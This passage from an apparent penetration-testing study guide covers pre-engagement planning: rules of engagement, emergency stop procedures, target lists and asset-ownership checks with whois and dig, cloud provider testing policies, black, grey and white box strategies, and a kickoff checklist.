&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Social engineering (phishing)&lt;/td&gt;
&lt;td&gt;✓ Yes (with limits)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Physical security testing&lt;/td&gt;
&lt;td&gt;✗ No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Denial of Service testing&lt;/td&gt;
&lt;td&gt;✗ No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Ransomware simulation&lt;/td&gt;
&lt;td&gt;✓ Yes (contained environment only)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Emergency Stop (Kill Switch) Procedure:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The ROE must define a clear procedure for immediately halting all testing activity. This typically includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A designated client emergency contact with 24/7 availability&lt;/li&gt;
&lt;li&gt;A designated tester emergency contact&lt;/li&gt;
&lt;li&gt;A code word or phrase that immediately stops all testing&lt;/li&gt;
&lt;li&gt;A procedure for the tester to confirm test suspension and document the state of testing at the time of suspension&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;Example:&lt;/em&gt;&lt;br&gt;&lt;br&gt;
"In the event the client wishes to immediately suspend testing, the emergency contact [NAME] may be reached at [PHONE] 24 hours a day, 7 days a week. Upon receipt of a suspension request, the testing team will immediately cease all testing activities and will not resume without written authorization."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tester IP Addresses (Whitelist):&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The testing team's IP addresses should be provided to the client so that the client's security operations team can distinguish legitimate testing activity from actual attacks. However, careful consideration is needed:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;In a &lt;strong&gt;black box&lt;/strong&gt; test (unknown environment), providing tester IPs may compromise the realism of the test&lt;/li&gt;
&lt;li&gt;In a &lt;strong&gt;grey box&lt;/strong&gt; or &lt;strong&gt;white box&lt;/strong&gt; test, whitelist IPs are typically provided&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Communication Protocol:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Designated points of contact on both sides&lt;/li&gt;
&lt;li&gt;Communication methods (encrypted email, Signal, phone)&lt;/li&gt;
&lt;li&gt;Frequency of status updates&lt;/li&gt;
&lt;li&gt;Escalation path for critical findings&lt;/li&gt;
&lt;/ul&gt;


&lt;h3&gt;
  
  
  2.2.3 Target List and In-Scope Assets
&lt;/h3&gt;

&lt;p&gt;Defining in-scope assets with precision is one of the most technically demanding aspects of scoping. The tester must work with the client to produce a comprehensive, unambiguous list of assets that are authorized for testing.&lt;/p&gt;
&lt;h4&gt;
  
  
  Asset Categories
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Network Infrastructure:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Routers, switches, firewalls, load balancers&lt;/li&gt;
&lt;li&gt;VPN concentrators and endpoints&lt;/li&gt;
&lt;li&gt;Wireless access points&lt;/li&gt;
&lt;li&gt;Network-attached storage (NAS) devices&lt;/li&gt;
&lt;li&gt;Out-of-band management interfaces (IPMI, iDRAC, iLO)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Servers:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Web servers (Apache, Nginx, IIS)&lt;/li&gt;
&lt;li&gt;Database servers (MySQL, PostgreSQL, MSSQL, Oracle)&lt;/li&gt;
&lt;li&gt;Application servers (Tomcat, WebLogic, JBoss)&lt;/li&gt;
&lt;li&gt;Mail servers (Exchange, Postfix)&lt;/li&gt;
&lt;li&gt;File servers (Windows Server, Samba)&lt;/li&gt;
&lt;li&gt;DNS servers&lt;/li&gt;
&lt;li&gt;Directory servers (Active Directory, LDAP)&lt;/li&gt;
&lt;li&gt;DHCP servers&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Endpoints:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Workstations (Windows, macOS, Linux)&lt;/li&gt;
&lt;li&gt;Laptops&lt;/li&gt;
&lt;li&gt;Mobile devices (if in scope)&lt;/li&gt;
&lt;li&gt;Industrial control system (ICS) workstations&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Web Applications and APIs:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Public-facing websites&lt;/li&gt;
&lt;li&gt;Internal web applications&lt;/li&gt;
&lt;li&gt;REST APIs&lt;/li&gt;
&lt;li&gt;SOAP web services&lt;/li&gt;
&lt;li&gt;GraphQL endpoints&lt;/li&gt;
&lt;li&gt;Mobile application backends&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Cloud Resources:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;AWS EC2 instances, S3 buckets, RDS instances&lt;/li&gt;
&lt;li&gt;Azure Virtual Machines, Blob Storage, SQL databases&lt;/li&gt;
&lt;li&gt;GCP Compute Engine instances, Cloud Storage&lt;/li&gt;
&lt;li&gt;Serverless functions (Lambda, Azure Functions, Cloud Functions)&lt;/li&gt;
&lt;li&gt;Container orchestration (Kubernetes clusters)&lt;/li&gt;
&lt;li&gt;Identity and access management (IAM) configurations&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Authentication Systems:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Active Directory / LDAP&lt;/li&gt;
&lt;li&gt;Single Sign-On (SSO) providers&lt;/li&gt;
&lt;li&gt;Multi-Factor Authentication (MFA) systems&lt;/li&gt;
&lt;li&gt;Certificate Authority (CA) infrastructure&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Industrial Control Systems (ICS) / SCADA:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Programmable Logic Controllers (PLCs)&lt;/li&gt;
&lt;li&gt;Human-Machine Interfaces (HMIs)&lt;/li&gt;
&lt;li&gt;SCADA servers&lt;/li&gt;
&lt;li&gt;Industrial switches and routers&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Note: ICS/SCADA systems require extreme caution — testing errors can cause physical damage to equipment or endanger human safety. Special expertise and enhanced ROE controls are required.&lt;/p&gt;
&lt;h4&gt;
  
  
  Creating the Target List
&lt;/h4&gt;

&lt;p&gt;The target list should be documented in a format that is:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Specific&lt;/strong&gt; — IP addresses, not just network names&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Version-specific&lt;/strong&gt; — OS versions, application versions (for better testing accuracy)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Complete&lt;/strong&gt; — all relevant assets included&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cross-referenced&lt;/strong&gt; — mapped to business function (helps with impact assessment)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Example Target List Format:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Asset&lt;/th&gt;
&lt;th&gt;IP Address&lt;/th&gt;
&lt;th&gt;OS/Technology&lt;/th&gt;
&lt;th&gt;Version&lt;/th&gt;
&lt;th&gt;Business Function&lt;/th&gt;
&lt;th&gt;Priority&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Web Server 01&lt;/td&gt;
&lt;td&gt;203.0.113.50&lt;/td&gt;
&lt;td&gt;Ubuntu Linux&lt;/td&gt;
&lt;td&gt;22.04 LTS&lt;/td&gt;
&lt;td&gt;Customer-facing website&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DB Server 01&lt;/td&gt;
&lt;td&gt;10.0.1.20&lt;/td&gt;
&lt;td&gt;Windows Server&lt;/td&gt;
&lt;td&gt;2019&lt;/td&gt;
&lt;td&gt;Customer database&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;VPN Gateway&lt;/td&gt;
&lt;td&gt;203.0.113.51&lt;/td&gt;
&lt;td&gt;Cisco ASA&lt;/td&gt;
&lt;td&gt;9.16.x&lt;/td&gt;
&lt;td&gt;Remote access&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Internal Wiki&lt;/td&gt;
&lt;td&gt;10.0.2.100&lt;/td&gt;
&lt;td&gt;Confluence&lt;/td&gt;
&lt;td&gt;7.13.x&lt;/td&gt;
&lt;td&gt;Internal documentation&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;h4&gt;
  
  
  Validating Asset Ownership
&lt;/h4&gt;

&lt;p&gt;Before testing any asset, the tester should validate:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;IP ownership&lt;/strong&gt; — WHOIS lookup to confirm the IP is registered to the client organization&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Domain ownership&lt;/strong&gt; — DNS records and registrar information&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cloud resource ownership&lt;/strong&gt; — Cloud provider tags, account IDs, and access confirmations&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Third-party hosted assets&lt;/strong&gt; — Confirmation from the hosting provider that the client controls the asset and has authorized testing&lt;/li&gt;
&lt;/ol&gt;


&lt;h3&gt;
  
  
  2.2.4 Validating the Scope of Engagement
&lt;/h3&gt;

&lt;p&gt;Scope validation is an active process that occurs throughout the pre-engagement phase and continues during the test itself.&lt;/p&gt;
&lt;h4&gt;
  
  
  Pre-Engagement Scope Validation
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Step 1: Client Verification&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The tester must confirm that the person authorizing the engagement has the legal authority to do so. Practical verification methods include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Confirming organizational title and role (request a business card or organizational chart)&lt;/li&gt;
&lt;li&gt;Having legal counsel on both sides review and sign the agreement&lt;/li&gt;
&lt;li&gt;For corporate engagements, requesting a board resolution or C-suite sign-off for high-value or broad-scope tests&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Step 2: IP Address Verification&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Before testing any IP address, verify that it belongs to the client:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# WHOIS lookup for IP ownership&lt;/span&gt;
whois 203.0.113.50

&lt;span class="c"&gt;# Check IP registration with ARIN (North America)&lt;/span&gt;
&lt;span class="c"&gt;# https://search.arin.net&lt;/span&gt;

&lt;span class="c"&gt;# Check IP registration with RIPE NCC (Europe)&lt;/span&gt;
&lt;span class="c"&gt;# https://www.ripe.net/manage-ips-and-asns/db/tools/ripe-database-query&lt;/span&gt;

&lt;span class="c"&gt;# Check IP registration with APNIC (Asia-Pacific)&lt;/span&gt;
&lt;span class="c"&gt;# https://www.apnic.net&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 3: Domain Verification&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# DNS lookup to verify domain ownership&lt;/span&gt;
whois targetdomain.com
nslookup targetdomain.com
dig targetdomain.com

&lt;span class="c"&gt;# Verify SSL certificate ownership&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; targetdomain.com:443 | openssl x509 &lt;span class="nt"&gt;-noout&lt;/span&gt; &lt;span class="nt"&gt;-subject&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 4: Cloud Resource Verification&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For cloud resources, the client should provide:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;AWS Account ID for EC2 instances, S3 buckets, or other resources&lt;/li&gt;
&lt;li&gt;Azure Subscription ID&lt;/li&gt;
&lt;li&gt;GCP Project ID&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These identifiers allow the tester to verify ownership and, where cloud provider penetration testing policies require notification, to register the test.&lt;/p&gt;

&lt;h4&gt;
  
  
  Cloud Provider Penetration Testing Policies
&lt;/h4&gt;

&lt;p&gt;Each major cloud provider has specific policies governing penetration testing of their platforms:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Amazon Web Services (AWS):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;AWS allows customers to perform security assessments against their own AWS resources without prior approval for most services&lt;/li&gt;
&lt;li&gt;Certain activities are prohibited: DDoS attacks against AWS infrastructure, port flooding, protocol flooding, request flooding&lt;/li&gt;
&lt;li&gt;AWS has a vulnerability reporting program for AWS-owned infrastructure&lt;/li&gt;
&lt;li&gt;Customers must not test other AWS customers' resources&lt;/li&gt;
&lt;li&gt;Reference: &lt;a href="https://aws.amazon.com/security/penetration-testing/" rel="noopener noreferrer"&gt;https://aws.amazon.com/security/penetration-testing/&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Microsoft Azure:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Microsoft allows penetration testing against Azure resources under their Penetration Testing Rules of Engagement&lt;/li&gt;
&lt;li&gt;Customers must notify Microsoft in advance for specific types of testing&lt;/li&gt;
&lt;li&gt;Multi-tenant services require special consideration&lt;/li&gt;
&lt;li&gt;Reference: &lt;a href="https://www.microsoft.com/en-us/msrc/pentest-rules-of-engagement" rel="noopener noreferrer"&gt;https://www.microsoft.com/en-us/msrc/pentest-rules-of-engagement&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Google Cloud Platform (GCP):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Google allows security testing of applications hosted on GCP without prior notification&lt;/li&gt;
&lt;li&gt;Attacks on GCP infrastructure itself are prohibited&lt;/li&gt;
&lt;li&gt;Testing must comply with Google's Acceptable Use Policy&lt;/li&gt;
&lt;li&gt;Reference: &lt;a href="https://cloud.google.com/security/best-practices" rel="noopener noreferrer"&gt;https://cloud.google.com/security/best-practices&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Critical Point:&lt;/strong&gt; Failure to comply with cloud provider penetration testing policies can result in account suspension, termination of service, and potentially law enforcement involvement, as the provider may interpret testing as an unauthorized attack on their infrastructure.&lt;/p&gt;




&lt;h3&gt;
  
  
  2.2.5 Strategy — Unknown vs. Known Environment Testing
&lt;/h3&gt;

&lt;p&gt;One of the most important strategic decisions in penetration testing is how much information the testing team is given about the target environment before the engagement begins.&lt;/p&gt;

&lt;h4&gt;
  
  
  Black Box Testing (Unknown Environment)
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Definition:&lt;/strong&gt; The penetration tester is given no prior information about the target environment. The tester must gather all intelligence through open-source intelligence (OSINT) and active reconnaissance, simulating the perspective of an external attacker who has no insider knowledge.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Also known as:&lt;/strong&gt; Zero-knowledge testing, external testing, outsider threat simulation&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Information Provided to Tester:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Only: The name of the organization and/or a domain name or IP range&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;What the Tester Must Discover:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Network topology&lt;/li&gt;
&lt;li&gt;IP address ranges&lt;/li&gt;
&lt;li&gt;Open ports and services&lt;/li&gt;
&lt;li&gt;Operating systems and versions&lt;/li&gt;
&lt;li&gt;Application frameworks and versions&lt;/li&gt;
&lt;li&gt;Authentication mechanisms&lt;/li&gt;
&lt;li&gt;Business logic&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Advantages:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Simulates the most realistic external attacker scenario&lt;/li&gt;
&lt;li&gt;Finds vulnerabilities that are discoverable without inside knowledge&lt;/li&gt;
&lt;li&gt;Tests the effectiveness of the organization's external perimeter&lt;/li&gt;
&lt;li&gt;Reveals what an attacker could discover through OSINT&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Disadvantages:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Time-intensive reconnaissance phase&lt;/li&gt;
&lt;li&gt;Higher cost (more hours required)&lt;/li&gt;
&lt;li&gt;May miss internal vulnerabilities&lt;/li&gt;
&lt;li&gt;Risk of testing out-of-scope systems due to discovery of unknown assets&lt;/li&gt;
&lt;li&gt;Testing team may spend significant time on assets that are not priority targets&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Best Used For:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;External network penetration tests&lt;/li&gt;
&lt;li&gt;Red team exercises simulating advanced persistent threats (APTs)&lt;/li&gt;
&lt;li&gt;Testing the effectiveness of publicly facing systems&lt;/li&gt;
&lt;/ul&gt;




&lt;h4&gt;
  
  
  White Box Testing (Known Environment / Full Knowledge)
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Definition:&lt;/strong&gt; The penetration tester is provided with comprehensive documentation about the target environment, including network diagrams, system configurations, source code (for application testing), and potentially valid credentials.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Also known as:&lt;/strong&gt; Crystal box testing, full-knowledge testing, transparent testing&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Information Provided to Tester:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Network diagrams and IP addressing schemes&lt;/li&gt;
&lt;li&gt;System inventories (OS versions, application versions, patch levels)&lt;/li&gt;
&lt;li&gt;Firewall rules and ACL configurations&lt;/li&gt;
&lt;li&gt;Application source code (for SAST — Static Application Security Testing)&lt;/li&gt;
&lt;li&gt;Valid user credentials (for authenticated testing)&lt;/li&gt;
&lt;li&gt;Prior vulnerability scan results&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Advantages:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Highly efficient — minimal time wasted on reconnaissance&lt;/li&gt;
&lt;li&gt;Comprehensive coverage — testers know what to look for&lt;/li&gt;
&lt;li&gt;Better depth of testing within limited time budgets&lt;/li&gt;
&lt;li&gt;Ideal for code reviews and configuration audits&lt;/li&gt;
&lt;li&gt;Finds vulnerabilities that require inside knowledge (logic flaws, misconfigurations)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Disadvantages:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Does not simulate a realistic external attacker scenario&lt;/li&gt;
&lt;li&gt;Testers may unconsciously focus on documented systems and miss undocumented "shadow IT"&lt;/li&gt;
&lt;li&gt;Client must invest significant time in documentation preparation&lt;/li&gt;
&lt;li&gt;High documentation accuracy dependency — inaccurate docs lead to poor test coverage&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Best Used For:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Application security testing (with source code review)&lt;/li&gt;
&lt;li&gt;Internal network assessments&lt;/li&gt;
&lt;li&gt;Compliance-driven assessments (PCI DSS, HIPAA) requiring comprehensive coverage&lt;/li&gt;
&lt;li&gt;Configuration reviews&lt;/li&gt;
&lt;li&gt;Code audits&lt;/li&gt;
&lt;/ul&gt;




&lt;h4&gt;
  
  
  Grey Box Testing (Partial Knowledge)
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Definition:&lt;/strong&gt; The penetration tester is provided with some information about the target environment — typically more than an external attacker would have, but less than full documentation. This hybrid approach is the most commonly used strategy in professional penetration testing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Information Typically Provided:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;IP address ranges (but not full network diagrams)&lt;/li&gt;
&lt;li&gt;Limited credential sets (e.g., a standard user account but not admin)&lt;/li&gt;
&lt;li&gt;Application URLs and entry points (but not source code)&lt;/li&gt;
&lt;li&gt;High-level system inventory (but not configurations)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Advantages:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Balances realism with efficiency&lt;/li&gt;
&lt;li&gt;Simulates an insider threat or a partially compromised account&lt;/li&gt;
&lt;li&gt;More cost-effective than black box testing while providing more realistic results than white box&lt;/li&gt;
&lt;li&gt;Allows testers to quickly validate in-scope assets without extensive reconnaissance&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Disadvantages:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Does not perfectly simulate any specific threat actor&lt;/li&gt;
&lt;li&gt;Partial information can create blind spots&lt;/li&gt;
&lt;li&gt;Client documentation requirements still exist&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Best Used For:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Most standard penetration testing engagements&lt;/li&gt;
&lt;li&gt;Internal threat simulations&lt;/li&gt;
&lt;li&gt;Web application penetration testing&lt;/li&gt;
&lt;li&gt;Testing with specific threat models (e.g., "what can a regular employee do?")&lt;/li&gt;
&lt;/ul&gt;




&lt;h4&gt;
  
  
  Comparison Table
&lt;/h4&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Factor&lt;/th&gt;
&lt;th&gt;Black Box&lt;/th&gt;
&lt;th&gt;Grey Box&lt;/th&gt;
&lt;th&gt;White Box&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Information Given&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;Partial&lt;/td&gt;
&lt;td&gt;Full&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Realism&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Highest (external threat)&lt;/td&gt;
&lt;td&gt;Moderate (insider threat)&lt;/td&gt;
&lt;td&gt;Lowest&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Efficiency&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Lowest&lt;/td&gt;
&lt;td&gt;Moderate&lt;/td&gt;
&lt;td&gt;Highest&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cost&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Highest&lt;/td&gt;
&lt;td&gt;Moderate&lt;/td&gt;
&lt;td&gt;Variable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Coverage Depth&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Perimeter-focused&lt;/td&gt;
&lt;td&gt;Balanced&lt;/td&gt;
&lt;td&gt;Comprehensive&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Time Required&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Most time&lt;/td&gt;
&lt;td&gt;Moderate&lt;/td&gt;
&lt;td&gt;Most efficient&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Typical Use Case&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Red team, external test&lt;/td&gt;
&lt;td&gt;General pentesting&lt;/td&gt;
&lt;td&gt;Code review, compliance&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Discovery&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;External attack paths&lt;/td&gt;
&lt;td&gt;Lateral movement&lt;/td&gt;
&lt;td&gt;Logic flaws, misconfigs&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h3&gt;
  
  
  2.2.6 Pre-Engagement Scope and Planning
&lt;/h3&gt;

&lt;p&gt;The pre-engagement phase involves a series of activities that must be completed before any testing begins.&lt;/p&gt;

&lt;h4&gt;
  
  
  Pre-Engagement Checklist
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Legal Documentation:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;[ ] MSA executed (or standalone contract for one-time engagements)&lt;/li&gt;
&lt;li&gt;[ ] SOW executed with specific scope, timeline, and deliverables&lt;/li&gt;
&lt;li&gt;[ ] NDA executed by all parties and relevant personnel&lt;/li&gt;
&lt;li&gt;[ ] ROE document finalized and signed&lt;/li&gt;
&lt;li&gt;[ ] Cloud provider notification completed (if applicable)&lt;/li&gt;
&lt;li&gt;[ ] Third-party service provider authorization obtained (if applicable)&lt;/li&gt;
&lt;li&gt;[ ] BAA executed (if healthcare environment)&lt;/li&gt;
&lt;li&gt;[ ] DPA executed (if EU personal data may be encountered)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Scope Documentation:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;[ ] Target list finalized with IP addresses, hostnames, and applications&lt;/li&gt;
&lt;li&gt;[ ] Out-of-scope items explicitly documented&lt;/li&gt;
&lt;li&gt;[ ] IP address ownership verified (WHOIS)&lt;/li&gt;
&lt;li&gt;[ ] Domain ownership verified&lt;/li&gt;
&lt;li&gt;[ ] Cloud resource ownership verified&lt;/li&gt;
&lt;li&gt;[ ] Testing windows confirmed and documented in writing&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Technical Preparation:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;[ ] Testing team IP addresses provided to client (if whitelist required)&lt;/li&gt;
&lt;li&gt;[ ] Emergency stop procedure tested and confirmed&lt;/li&gt;
&lt;li&gt;[ ] Secure communication channel established with client POC&lt;/li&gt;
&lt;li&gt;[ ] Testing environment prepared (VMs, tools, network access)&lt;/li&gt;
&lt;li&gt;[ ] Initial kickoff call completed with all stakeholders&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Business Preparation:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;[ ] Budget and pricing confirmed&lt;/li&gt;
&lt;li&gt;[ ] Reporting format and deliverables agreed upon&lt;/li&gt;
&lt;li&gt;[ ] Report delivery deadline confirmed&lt;/li&gt;
&lt;li&gt;[ ] Retest procedures discussed and budgeted&lt;/li&gt;
&lt;/ul&gt;




&lt;h4&gt;
  
  
  Kickoff Meeting
&lt;/h4&gt;

&lt;p&gt;The pre-engagement kickoff meeting is a critical milestone. It brings together the testing team and the client's key stakeholders to align on all aspects of the engagement before testing begins.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Attendees (Client Side):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;CISO / ISM&lt;/strong&gt; — Overall responsibility for the engagement&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CIO or CTO&lt;/strong&gt; — Executive authorization&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;System Owners&lt;/strong&gt; — Teams responsible for in-scope systems&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;IT Operations&lt;/strong&gt; — Coordination for potential false positive alerts&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Legal Counsel&lt;/strong&gt; — Confirmation of authorization and liability framework&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Security Operations Center (SOC)&lt;/strong&gt; — Awareness of testing to prevent false escalations&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Attendees (Testing Team):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Project Manager / Engagement Manager&lt;/strong&gt; — Overall engagement coordination&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Lead Penetration Tester&lt;/strong&gt; — Technical lead&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Additional Testers&lt;/strong&gt; — If multiple specializations are required&lt;/li&gt;
&lt;/ul&gt;

